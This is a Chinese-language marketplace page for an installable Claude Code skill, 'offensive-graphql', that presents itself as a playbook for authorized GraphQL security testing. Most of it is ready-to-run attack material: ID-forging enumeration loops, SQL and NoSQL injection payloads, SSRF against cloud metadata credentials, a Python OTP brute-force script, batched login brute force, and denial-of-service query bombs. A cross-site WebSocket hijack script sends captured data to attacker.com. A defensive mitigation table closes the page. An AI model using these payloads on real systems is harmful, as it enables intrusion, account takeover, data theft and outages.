mcpField
O
offensive-graphql

offensive-graphql

github.com/snailsploit安全9.7k148 次安装2 周前更新
代码仓库

关于 offensive-graphql

用于授权 GraphQL 安全评估的技能,涵盖端点发现、Schema 重建、访问控制测试、注入、批处理、资源耗尽与订阅。

主要功能

  1. 01端点发现与指纹识别
  2. 02Schema 内省与重建
  3. 03认证和授权测试
  4. 04Resolver 注入测试
  5. 05批处理与限速评估
  6. 06订阅及拒绝服务测试

适用场景

  1. 01绘制暴露的 GraphQL API 攻击面
  2. 02检查嵌套字段的访问控制缺口
  3. 03测试 Resolver 参数注入风险
  4. 04评估批处理和查询资源限制

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-graphql

安装后在 Claude Code 中输入/offensive-graphql确认已加载。

详细介绍

GraphQL 攻击

GraphQL 将整个 API 表面整合到单个端点后,使其成为 Web 应用评估中的高价值目标。与每个路由对应一个独立资源的 REST 不同,GraphQL schema 会在一个可查询结构中公开所有类型、字段、mutation 和 subscription。攻击者一旦获取或重建该 schema,就能在编写任何漏洞利用代码之前,获得应用数据模型的完整地图。本技能将通过具体查询、工具调用和攻击链模式,带你了解 GraphQL 测试的各个阶段。

快速工作流

  1. 发现端点——探测常见路径、检查客户端 JavaScript 包、查看 WebSocket 升级标头。
  2. 识别实现——使用 graphw00f 确定引擎并调整载荷。
  3. 导出或重建 schema——使用完整 introspection 查询;如果受阻,则通过字段建议探测或 clairvoyance 重建。
  4. 绘制攻击面——将 schema 输入 GraphQL Voyager 或 InQL。
  5. 测试身份验证和授权——使用无令牌、低权限令牌和跨用户令牌测试每个查询和 mutation。
  6. 通过 resolver 注入——通过参数和变量注入 SQL、NoSQL 和操作系统命令载荷。
  7. 滥用批处理——使用数组形式的操作进行暴力破解、绕过 OTP 和规避速率限制。
  8. 测试深度和复杂度——使用嵌套查询、别名扇出和循环片段。
  9. 探测 subscription——使用已过期或缺失令牌的 WebSocket,订阅敏感数据流。
  10. 通过错误窃取数据——利用详细堆栈跟踪、类型不匹配和字段建议。
  11. 测试文件上传——使用 multipart GraphQL 规范上传超大或恶意文件。
  12. 串联并提升权限——将发现组合为多步攻击路径,并提供概念验证查询。

1 -- 端点发现与指纹识别

使用最简查询正文探测常见路径。__typename 响应可确认 GraphQL 端点处于活动状态。

curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__typename}"}' | jq .

要探测的路径:/graphql、/graphiql、/v1/graphql、/v2/graphql、/api/graphql、/graphql/console、/playground、/explorer、/query。一些服务端接受 GET 请求:

curl -s "https://target.com/graphql?query=\{__typename\}"

识别实现,以确定默认行为(introspection 状态、错误格式、批处理语法):

python3 graphw00f.py -t https://target.com/graphql

运行 graphql-cop 进行一次性配置审计——它会报告 introspection 状态、字段建议泄露、是否接受基于 GET 的查询(CSRF 风险)以及是否允许不受限制的批处理:

python3 graphql-cop.py -t https://target.com/graphql

2 -- Introspection 与盲式 Schema 重建

完整 Introspection 导出

启用 introspection 时,通过一个请求获取整个 schema。这是最有价值的侦察步骤。

query FullIntrospection {
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
    types {
      kind name description
      fields(includeDeprecated: true) {
        name args { name type { ...T } defaultValue } type { ...T }
      }
      inputFields { name type { ...T } defaultValue }
      interfaces { ...T }
      enumValues(includeDeprecated: true) { name description }
      possibleTypes { ...T }
    }
    directives { name description locations args { name type { ...T } } }
  }
}
fragment T on __Type {
  kind name ofType { kind name ofType { kind name ofType { kind name } } }
}

将结果传入 GraphQL Voyager 进行可视化探索,或在 Burp Suite 中加载 InQL——它会解析 schema,并为每个字段和 mutation 生成独立查询。

定向 __type 查询

当完整 introspection 已禁用,但 __type 查询仍然有效时(这是一种常见的配置错误:服务端屏蔽了 __schema,却忘记屏蔽 __type):

query { __type(name: "User") { name fields { name type { name kind } } } }
绕过已禁用的 Introspection

字段建议预言机。 大多数引擎在你查询不存在的字段时会返回“你是不是想找……”。提交可能的名称并收集建议:

query { __typename aaa }
{
  "errors": [{
    "message": "Cannot query field \"aaa\" on type \"Query\". Did you mean \"user\", \"users\", \"admin\"?"
  }]
}

使用 clairvoyance 自动执行此过程:它会遍历词表、收集建议并组合出重建的 schema:

python3 clairvoyance.py -t https://target.com/graphql -w wordlist.txt -o schema.json

Apollo Sandbox。 如果目标运行 Apollo Server v3+,请在浏览器中访问该端点。即使生产环境开关已关闭,Apollo Sandbox 也会在客户端执行 introspection。如果服务端已在 Apollo Studio 中注册,请检查其中的 explorer。

客户端包。 在 JS 文件中搜索查询字符串、片段定义和类型名称:

curl -s https://target.com/static/js/main.js | grep -oP '(query|mutation|fragment)\s+\w+'

3 -- 身份验证与授权绕过

授权漏洞普遍存在,因为开发者必须在每个 resolver 中手动实现字段级检查。嵌套字段上只要漏掉一项检查,就可能暴露整个对象图。

通过 Relay 节点 ID 发起 IDOR 攻击

Relay 提供了一个全局 node 接口,可通过不透明的 Base64 编码 ID(Type:numericID)解析任意对象:

echo -n "VXNlcjoxMjM=" | base64 -d   # Output: User:123

为其他用户伪造 ID,并通过 node 接口进行查询:

query {
  node(id: "VXNlcjoxMjQ=") {
    ... on User { id email role ssn }
  }
}

按顺序枚举:

for i in $(seq 1 100); do
  id=$(echo -n "User:$i" | base64)
  curl -s -X POST https://target.com/graphql \
    -H "Content-Type: application/json" -H "Authorization: Bearer $TOKEN" \
    -d "{\"query\":\"{ node(id: \\\"$id\\\") { ... on User { id email role } } }\"}"
done
嵌套对象授权缺口

在顶层查询中实施的授权通常不会延续到嵌套关系。访问自己的 Order,然后检查 customer 字段是否会遍历到其他用户的数据:

query {
  myOrders {
    id
    customer { id email paymentMethods { cardNumber expirationDate } }
  }
}

myOrders 解析器会根据你的 ID 筛选,但 Order 上的 customer 解析器可能会在未经所有权检查的情况下预加载关联用户。

Relay 分页与游标操纵

解码不透明游标(通常是偏移量的 Base64 编码),并操纵其值。如果游标解码为 cursor:999,则将其设为 cursor:0,以访问从头开始的记录:

query {
  users(first: 10, after: "Y3Vyc29yOjA=") {
    edges { node { id email } cursor }
    pageInfo { hasNextPage endCursor }
  }
}
Mutation 授权

使用无令牌、低权限令牌和跨租户令牌测试每个会改变状态的 mutation:

mutation { updateUser(id: "OTHER_USER_ID", input: { role: "ADMIN" }) { id role } }
mutation { deleteAccount(userId: "OTHER_USER_ID") { success } }

4 -- 通过解析器注入

变量和参数会直接传递给解析器函数。解析器中的字符串拼接会造成经典的注入入口。

通过变量进行 SQL 注入
query GetUser($name: String!) { user(name: $name) { id email } }
{"name": "admin' OR 1=1 --"}

通过基于 UNION 的注入提升攻击效果:

{"name": "' UNION SELECT username, password FROM admin_users --"}
NoSQL 注入

针对使用 MongoDB 的解析器:

{"filter": {"username": {"$ne": ""}, "password": {"$ne": ""}}}

基于时间的检测:

query { search(filter: "{\"$where\": \"sleep(5000)\"}") { results } }
指令注入与泛洪

指令泛洪——向单个字段附加数千个 @include(if: true) 指令——会导致解析器崩溃(async-graphql 中的 CVE-2024-47614):

query { __typename @include(if: true) @include(if: true) @include(if: true) ... }

以编程方式生成包含 10,000 个指令的载荷。自定义 @auth 或 @constraint 指令也可能接受可操纵的参数,以覆盖服务器端行为。

通过解析器参数进行 SSRF

如果 mutation 接受 URL 参数(如 Webhook、头像、导入),请测试 SSRF:

mutation { setAvatar(url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/") { success } }

5 -- 批处理攻击

GraphQL 服务通常允许在单个 HTTP 请求中传入一组操作。后端速率限制器通常统计 HTTP 请求,而非批次中的单个操作,因此可利用这一点实施强力绕过攻击。

凭证暴力破解
[
  {"query": "mutation { login(user: \"admin\", pass: \"password1\") { token } }"},
  {"query": "mutation { login(user: \"admin\", pass: \"password2\") { token } }"},
  {"query": "mutation { login(user: \"admin\", pass: \"password3\") { token } }"}
]

单个 HTTP 请求可携带数百次登录尝试。速率限制器只会看到一个请求。

OTP / 2FA 绕过

分批提交所有可能的 4 位 OTP 值:

import requests

ops = [{"query": f'mutation {{ verifyOTP(code: "{str(c).zfill(4)}") {{ success token }} }}'}
       for c in range(10000)]
for i in range(0, len(ops), 500):
    r = requests.post("https://target.com/graphql", json=ops[i:i+500],
                      headers={"Authorization": "Bearer <session_token>"})
    for idx, res in enumerate(r.json()):
        if res.get("data", {}).get("verifyOTP", {}).get("success"):
            print(f"Valid OTP: {str(i + idx).zfill(4)}")
基于别名的批处理

某些服务会拒绝数组批处理,但允许在单个查询中使用别名进行批处理:

query {
  a1: login(user: "admin", pass: "pass1") { token }
  a2: login(user: "admin", pass: "pass2") { token }
  a3: login(user: "admin", pass: "pass3") { token }
}

使用 BatchQL 和 CrackQL 自动化:

python3 batch-ql.py -e https://target.com/graphql \
  -q 'mutation { login(user: "admin", pass: "FUZZ") { token } }' -w passwords.txt
python3 CrackQL.py -t https://target.com/graphql -q query.graphql -i inputs.csv --batch-size 500

6 -- 拒绝服务

除非服务器实施严格的成本控制,否则 GraphQL 灵活的查询语言本质上容易受到资源耗尽攻击。

深度炸弹

利用循环关系。如果 User 的 friends 返回 [User],就无限嵌套——对每个有 100 位好友的用户进行 8 层嵌套,会触发 100^8 次解析器调用:

query DepthBomb {
  users {
    friends { friends { friends { friends { friends { friends {
      id email
    } } } } } }
  }
}
别名放大

使用别名数千次请求同一个高开销字段。每个别名都会独立调用解析器:

query {
  a1: expensiveReport(year: 2024) { data }
  a2: expensiveReport(year: 2024) { data }
  a3: expensiveReport(year: 2024) { data }
  # ... repeat 1000 times
}
循环片段展开

较旧的实现可能无法检测循环引用,从而导致无限递归:

fragment A on User { friends { ...B } }
fragment B on User { friends { ...A } }
query { user(id: 1) { ...A } }
滥用增量传输

如果服务器支持 @defer 和 @stream,可将它们附加到高开销子树,以保持连接打开并增加计算负载:

query {
  users(first: 1000) @stream(initialCount: 1) {
    id
    orders @defer { total items @stream(initialCount: 1) { name price } }
  }
}

7 -- 滥用订阅与劫持 WebSocket

订阅通过 WebSocket 使用 graphql-ws 或较旧的 subscriptions-transport-ws 协议运行。这些长连接构成了独特的攻击面。

未经身份验证的订阅

在 connection_init 载荷中不提供身份验证信息即可连接,然后进行订阅:

{"type": "connection_init", "payload": {}}
{"id": "1", "type": "subscribe", "payload": {"query": "subscription { newOrder { id customer { email } total } }"}}

如果服务器不验证 connection_init,你就会收到所有新订单的实时事件。

长连接上的令牌过期

WebSocket 连接在初始握手后会持续存在。如果服务器仅在 connection_init 期间验证 JWT,那么令牌即使在会话中途过期,在连接的整个生命周期内仍然有效。使用短时令牌连接,等待令牌过期,然后发送新的订阅,以此进行测试。

跨站 WebSocket 劫持(CSWSH)

如果 WebSocket 端点依赖 Cookie 且不验证 Origin 标头,可从恶意页面劫持连接:

<script>
  var ws = new WebSocket("wss://target.com/graphql", "graphql-ws");
  ws.onopen = function() {
    ws.send(JSON.stringify({type:"connection_init",payload:{}}));
    ws.send(JSON.stringify({id:"1",type:"subscribe",
      payload:{query:"subscription { sensitiveEvent { data } }"}}));
  };
  ws.onmessage = function(e) { fetch("https://attacker.com/c?d="+btoa(e.data)); };
</script>

8 -- 信息泄露与文件上传

详细错误消息

GraphQL 引擎通常会在错误中返回实现细节。发送类型不匹配的参数以触发堆栈跟踪:

{
  "errors": [{
    "message": "invalid input syntax for type integer: \"abc\"",
    "extensions": {
      "exception": {
        "stacktrace": [
          "Error: invalid input syntax for type integer: \"abc\"",
          "    at /app/node_modules/pg/lib/client.js:526:17",
          "    at /app/src/resolvers/user.js:42:12"
        ]
      }
    }
  }]
}

这会泄露数据库驱动程序(通过 pg 使用 PostgreSQL)、文件路径和行号。

将字段建议用作架构探测器

即使禁用了内省,也可以迭代尝试不同前缀,通过“Did you mean”响应重建架构:

Query field "a" -> "admin", "account"
Query field "b" -> "billing", "blog"
Query field "c" -> "customer", "config", "cart"
Hasura 和 Apollo 专属泄露

Hasura —— 如果未强制使用管理员密钥,则测试注入 x-hasura-role 和 x-hasura-user-id 标头:

curl -s -X POST https://target.com/v1/graphql \
  -H "Content-Type: application/json" -H "x-hasura-role: admin" -H "x-hasura-user-id: 1" \
  -d '{"query": "{ users { id email password_hash } }"}'

Apollo Federation —— 查询 _service 字段以获取子图的完整 SDL:

query { _service { sdl } }
通过 Multipart GraphQL 上传文件

Multipart 请求规范支持通过变更上传文件。测试路径遍历、未限制的文件类型和超大文件上传:

curl -s -X POST https://target.com/graphql \
  -F operations='{"query":"mutation($file: Upload!) { uploadFile(file: $file) { url } }","variables":{"file":null}}' \
  -F map='{"0":["variables.file"]}' \
  -F [email protected]

攻击向量:通过操纵 map JSON 路径进行路径遍历;信任内容类型(上传 .php/.jsp 文件,并检查是否验证魔数);上传数 GB 的文件以测试大小限制;以及可能在处理前可通过 Web 访问的可预测临时文件路径。


检测 / 防御者视角

攻击类别检测 / 防护
滥用内省在生产环境中禁用(introspection: false)。监控查询日志中的 __schema 和 __type。
字段建议探测器禁用建议(Apollo:使用自定义插件移除建议;Yoga:使用 maskedErrors)。
通过节点 ID 实施 IDOR在每个解析器中强制执行所有权检查。使用 UUID 而非递增 ID。
嵌套授权缺口使用架构级授权指令(@auth、@hasRole)。在每个解析器中检查,而不只是顶层。
SQL / NoSQL 注入仅使用参数化查询。绝不拼接用户输入。
批量暴力破解限制批次大小(最多 5 个操作)。按操作数量而非 HTTP 请求数量进行速率限制。
别名放大限制别名数量。进行查询成本分析(graphql-query-complexity、GraphQL Armor)。
深度炸弹将查询最大深度设为 7-10(graphql-depth-limit、GraphQL Armor)。
订阅劫持在每次 connection_init 时验证身份验证信息,定期重新验证令牌,并强制执行 Origin 检查。
详细错误在生产环境中使用通用错误消息。移除堆栈跟踪和路径。
滥用文件上传根据魔数进行验证,强制执行大小限制,将文件存储在 Web 根目录之外,并重新编码图像。
CSRF要求使用 Content-Type: application/json。拒绝基于 GET 的变更。验证 Origin。

关键加固工具:GraphQL Armor(为 Apollo/Yoga/Envelop 提供深度、别名、成本和字符数限制)、持久化查询(将已知操作加入允许列表,通过带有签名强制校验的 APQ 拒绝临时查询),以及能够解析 JSON 正文并检查 query 字段、而非仅检查 URL 参数的 WAF 规则。


测试速查表

RECON
  Endpoint discovery       curl POST /graphql, /v1/graphql, /api/graphql with {__typename}
  Fingerprint              graphw00f -t <url>
  Introspection dump       Full __schema query via Altair or InQL
  Config audit             graphql-cop -t <url>
  Visualize schema         Introspection JSON into GraphQL Voyager

BLIND SCHEMA RECOVERY
  Field suggestions        Query invalid fields, collect "Did you mean" responses
  Automated recovery       clairvoyance -t <url> -w wordlist.txt
  Client bundles           grep -oP '(query|mutation|fragment)\s+\w+' main.js
  Apollo sandbox           Navigate to endpoint in browser

AUTH TESTING
  No-auth access           Replay every query/mutation without Authorization header
  Horizontal IDOR          Decode Relay node IDs, substitute other user IDs
  Vertical escalation      Test admin mutations with low-privilege tokens
  Nested traversal         Follow relationships to reach unauthorized objects
  Cursor manipulation      Decode Relay cursors, modify offset values

INJECTION
  SQLi via variables       {"name": "admin' OR 1=1 --"}
  NoSQL injection          {"filter": {"$ne": ""}}
  SSRF via URL args        Point URL fields at 169.254.169.254
  Directive flooding       10,000 @include(if: true) on a single field

BATCHING
  Array batching           [{"query":"mutation{login(...)}"}, ...]
  Alias batching           a1: login(...) a2: login(...) ...
  OTP exhaustion           Batch all 4-6 digit codes in chunks of 500
  Tools                    CrackQL, BatchQL

DoS
  Depth bomb               Nest circular relationships 8+ levels
  Alias amplification      1000+ aliases on an expensive resolver
  Fragment cycle           Circular fragment spreads (A -> B -> A)
  Incremental delivery     @defer/@stream on expensive subtrees

SUBSCRIPTIONS
  No-auth subscribe        connection_init with empty payload
  Token expiry test        Connect, wait for JWT expiry, send new subscription
  CSWSH                    Cross-site WebSocket hijack via malicious page

FILE UPLOAD
  Multipart spec           -F operations=... -F map=... -F 0=@file
  Path traversal           Manipulate map JSON paths
  Type bypass              Upload executable with benign Content-Type

INFO DISCLOSURE
  Verbose errors           Type-mismatched arguments, observe stack traces
  Federation SDL           { _service { sdl } }
  Hasura headers           x-hasura-role: admin without admin secret

关键参考资料

评论

支持 Markdown